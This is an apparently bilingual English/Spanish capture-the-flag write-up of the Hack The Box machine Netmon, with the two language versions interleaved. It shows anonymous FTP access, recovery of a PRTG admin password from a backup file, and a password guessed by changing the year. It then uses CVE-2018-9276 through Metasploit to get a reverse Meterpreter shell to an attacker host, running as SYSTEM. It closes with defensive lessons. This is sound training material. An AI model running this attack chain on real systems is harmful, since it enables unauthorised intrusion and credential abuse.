Netmon
Executive summary — Netmon is an Easy Windows box about PRTG Network Monitor: a misconfigured anonymous FTP exposes the whole disk, letting us read a PRTG configuration backup with the admin password (the admins only changed the year). Inside PRTG, CVE-2018-9276 (authenticated command injection in the notification system), exploited via Metasploit, gives direct execution as
SYSTEM— no further privilege escalation needed. A anonymous FTP → PRTG backup → CVE-2018-9276 → SYSTEM path.
| Platform | Hack The Box |
| Operating system | Windows Server 2016 |
| Difficulty | Easy |
| Status | Retired |
| Target IP | 10.129.9.125 |
Attack map
[21] anonymous FTP with access to the WHOLE filesystem
│ read C:\ProgramData\Paessler\PRTG Network Monitor\PRTG Configuration.old.bak
│ → prtgadmin : PrTg@dmin2018
│ admins only changed the year → PrTg@dmin2019
▼
[PRTG] login as prtgadmin (PRTG < 18.2.39)
│ CVE-2018-9276 — authenticated command injection (notifications)
│ msf: exploit/windows/http/prtg_authenticated_rce
▼
[SYSTEM] meterpreter — NT AUTHORITY\SYSTEM
1. Reconnaissance
We start with a full port and version scan to see what attack surface the box offers before deciding where to go in.
nmap -sCV -Pn 10.129.9.125
21/tcp open ftp
80/tcp open http (PRTG Network Monitor / Indy httpd)
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
Ports 135/139/445 just confirm a stock Windows host (RPC/NetBIOS/SMB), but what really stands out is 21/FTP: on a box running a PRTG web panel, an open FTP is often the back door into the monitoring service's own configuration. We start there.
Resumen ejecutivo — Netmon es una Windows Easy sobre PRTG Network Monitor: un FTP anónimo mal configurado expone todo el disco, lo que permite leer un backup de configuración de PRTG con la contraseña admin (los administradores solo le cambiaron el año). Ya dentro de PRTG, CVE-2018-9276 (inyección de comandos autenticada en el sistema de notificaciones), explotada con Metasploit, da ejecución directa como
SYSTEM— sin ninguna escalada de privilegios adicional. Recorrido FTP anónimo → backup de PRTG → CVE-2018-9276 → SYSTEM.
| Plataforma | Hack The Box |
| Sistema operativo | Windows Server 2016 |
| Dificultad | Easy |
| Estado | Retired |
| IP objetivo | 10.129.9.125 |
Mapa del ataque
[21] FTP anónimo con acceso a TODO el sistema de ficheros
│ leer C:\ProgramData\Paessler\PRTG Network Monitor\PRTG Configuration.old.bak
│ → prtgadmin : PrTg@dmin2018
│ los admins solo cambiaron el año → PrTg@dmin2019
▼
[PRTG] login como prtgadmin (PRTG < 18.2.39)
│ CVE-2018-9276 — inyección de comandos autenticada (notificaciones)
│ msf: exploit/windows/http/prtg_authenticated_rce
▼
[SYSTEM] meterpreter — NT AUTHORITY\SYSTEM
1. Reconocimiento
Empezamos con un escaneo completo de puertos y versiones para ver qué superficie de ataque ofrece la máquina antes de decidir por dónde entrar.
nmap -sCV -Pn 10.129.9.125
21/tcp open ftp
80/tcp open http (PRTG Network Monitor / Indy httpd)
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
Los puertos 135/139/445 confirman un host Windows «de serie» (RPC/NetBIOS/SMB), pero lo que realmente destaca es el 21/FTP: en una máquina con panel web PRTG, un FTP abierto suele ser la puerta trasera de configuración del propio servicio de monitorización. Empezamos por ahí.
2. Anonymous FTP → the whole filesystem
An FTP that accepts
anonymouscredentials is already a risk; one that also isn't jailed (chroot) and lets you browse outside a public folder into the rest of the disk is a serious misconfiguration. That's exactly what happens here: we can reach all the way intoProgramData.
ftp 10.129.9.125
Name: anonymous
Password: anonymous
230 Login successful.
With access granted, we browse to PRTG's configuration folder:
cd ProgramData
cd Paessler
cd "PRTG Network Monitor"
dir
PRTG Configuration.dat
PRTG Configuration.old
PRTG Configuration.old.bak
Of the three, the
.bakis the most interesting: backups of old configurations often keep credentials that the «active» file no longer exposes in plaintext, and it's common for nobody to remember to delete them.
3. Downloading the backup and extracting credentials
get "PRTG Configuration.old.bak"
bye
grep -i -B5 -A5 password "PRTG Configuration.old.bak"
Username: prtgadmin
Password: PrTg@dmin2018
The password trick:
PrTg@dmin2018comes from an old backup, and the box is already running in 2019 — that password is likely no longer valid. But it's an extremely common pattern for admins, when rotating a password «for compliance», to simply bump the year and leave the rest unchanged. We tryPrTg@dmin2019.
4. Accessing the PRTG console
http://10.129.9.125 # username: prtgadmin / password: PrTg@dmin2019
The login works: the year hypothesis was correct. Now authenticated as PRTG administrators, we check the product version from the panel — PRTG < 18.2.39, a version vulnerable to a known CVE.
5. CVE-2018-9276 — authenticated command injection
What it is: PRTG lets you configure notifications that, among other actions, can «Execute Program». The parameters of that notification type aren't properly sanitised before being passed to the system's command interpreter. Since the PRTG service runs with
SYSTEMprivileges, any command injected there also executes asSYSTEM. It's «authenticated» because it requires an existing PRTG administrator session — which is exactly what we obtained in the previous step.
6. Exploitation with Metasploit
Metasploit ships a dedicated module for this vulnerability (exploit/windows/http/prtg_authenticated_rce) that automates creating the malicious notification and hands back a Meterpreter session directly:
msfconsole
use exploit/windows/http/prtg_authenticated_rce
set RHOSTS 10.129.9.125
set RPORT 80
set ADMIN_USERNAME prtgadmin
set ADMIN_PASSWORD PrTg@dmin2019
set LHOST <ATTACKER_IP>
set LPORT 4444
show options
run
[*] Started reverse TCP handler
...
Meterpreter session 1 opened
7. Post-exploitation and flags
Because the PRTG service runs under the system account, the module hands back the session directly with
SYSTEMprivileges: no further privilege-escalation step is needed.
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > shell
C:\> whoami
nt authority\system
cd C:\Users\Administrator\Desktop
dir
type root.txt
System fully compromised — SYSTEM access from the very first and only exploit needed. 🏴☠️
Vulnerability summary
| Phase | Component | Vulnerability | Impact |
|---|---|---|---|
| Info leak | FTP server | Anonymous access with no chroot, browses the whole filesystem | Read the PRTG configuration backup |
| Credentials | PRTG Configuration.old.bak | Plaintext password in a backup + predictable pattern (year-only rotation) | PRTG administrator login |
| RCE | PRTG Network Monitor < 18.2.39 | CVE-2018-9276 — authenticated command injection via notifications | Command execution |
| Privilege escalation | PRTG service | The service runs as NT AUTHORITY\SYSTEM | SYSTEM with no further escalation |
Lessons learned
- Anonymous FTP with no chroot = total filesystem leak. Disable anonymous access or jail the user to a specific folder.
.bakbackups keep secrets the active file no longer exposes: delete them or protect them with the same permissions as the original.- Don't rotate passwords by just bumping the year (or any other predictable suffix): an attacker who knows an old version guesses the current one in seconds.
- Patch PRTG and audit what runs as SYSTEM: CVE-2018-9276 gives full control straight from the admin panel precisely because the service isn't segregated with lower privileges.
2. FTP anónimo → todo el sistema de ficheros
Un FTP que acepta credenciales
anonymousya es un riesgo; que además no esté enjaulado (chroot) y deje navegar fuera de una carpeta pública hacia el resto del disco es un fallo grave de configuración. Aquí ocurre justo eso: se puede llegar hastaProgramData.
ftp 10.129.9.125
Name: anonymous
Password: anonymous
230 Login successful.
Con acceso concedido, navegamos hasta la carpeta de configuración de PRTG:
cd ProgramData
cd Paessler
cd "PRTG Network Monitor"
dir
PRTG Configuration.dat
PRTG Configuration.old
PRTG Configuration.old.bak
De los tres, el
.bakes el más interesante: los ficheros de backup de configuraciones antiguas suelen conservar credenciales que el fichero «activo» ya no expone en claro, y es habitual que nadie se acuerde de borrarlos.
3. Descarga y extracción de credenciales del backup
get "PRTG Configuration.old.bak"
bye
grep -i -B5 -A5 password "PRTG Configuration.old.bak"
Username: prtgadmin
Password: PrTg@dmin2018
El truco de la contraseña:
PrTg@dmin2018viene de un backup antiguo, y la máquina corre ya en 2019 — probablemente esa contraseña ya no sea válida. Pero es un patrón extremadamente común que los administradores, al rotar la contraseña «por cumplimiento», se limiten a subir el año y dejen el resto igual. ProbamosPrTg@dmin2019.
4. Acceso a la consola de PRTG
http://10.129.9.125 # usuario: prtgadmin / contraseña: PrTg@dmin2019
El login funciona: la hipótesis del año era correcta. Ya autenticados como administradores de PRTG, comprobamos la versión del producto desde el panel — PRTG < 18.2.39, una versión vulnerable a un CVE conocido.
5. CVE-2018-9276 — inyección de comandos autenticada
Qué es: PRTG permite configurar notificaciones que, entre otras acciones, pueden «Ejecutar un programa» (Execute Program). Los parámetros de ese tipo de notificación no se sanean correctamente antes de pasarse al intérprete de comandos del sistema. Como el servicio de PRTG corre con privilegios
SYSTEM, cualquier comando inyectado ahí se ejecuta también comoSYSTEM. Es «autenticada» porque hace falta ya tener sesión de administrador en PRTG — que es exactamente lo que conseguimos en el paso anterior.
6. Explotación con Metasploit
Metasploit incluye un módulo específico para esta vulnerabilidad (exploit/windows/http/prtg_authenticated_rce) que automatiza la creación de la notificación maliciosa y entrega directamente una sesión Meterpreter:
msfconsole
use exploit/windows/http/prtg_authenticated_rce
set RHOSTS 10.129.9.125
set RPORT 80
set ADMIN_USERNAME prtgadmin
set ADMIN_PASSWORD PrTg@dmin2019
set LHOST <ATTACKER_IP>
set LPORT 4444
show options
run
[*] Started reverse TCP handler
...
Meterpreter session 1 opened
7. Post-explotación y flags
Como el servicio PRTG corre bajo la cuenta del sistema, el módulo entrega la sesión directamente con privilegios de
SYSTEM: no hace falta ningún paso adicional de escalada de privilegios.
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > shell
C:\> whoami
nt authority\system
cd C:\Users\Administrator\Desktop
dir
type root.txt
Sistema comprometido por completo — acceso SYSTEM desde el primer y único exploit necesario. 🏴☠️
Resumen de vulnerabilidades
| Fase | Componente | Vulnerabilidad | Impacto |
|---|---|---|---|
| Info leak | Servidor FTP | Acceso anónimo sin chroot, navega todo el sistema de ficheros | Lectura del backup de configuración de PRTG |
| Credenciales | PRTG Configuration.old.bak | Contraseña en texto claro en un backup + patrón predecible (rotación solo del año) | Login administrador en PRTG |
| RCE | PRTG Network Monitor < 18.2.39 | CVE-2018-9276 — inyección de comandos autenticada vía notificaciones | Ejecución de comandos |
| Privilege escalation | Servicio de PRTG | El servicio corre como NT AUTHORITY\SYSTEM | SYSTEM sin escalada adicional |
Lecciones aprendidas
- FTP anónimo sin chroot = fuga total del sistema de ficheros. Desactiva el acceso anónimo o enjaula al usuario en una carpeta concreta.
- Los backups
.bakguardan secretos que el fichero activo ya no expone: bórralos o protégelos con los mismos permisos que el original. - No rotes contraseñas cambiando solo el año (u otro sufijo predecible): un atacante que conoce una versión antigua adivina la actual en segundos.
- Parchea PRTG y revisa qué corre como SYSTEM: CVE-2018-9276 da control total desde el propio panel de administración precisamente porque el servicio no está segregado con menos privilegios.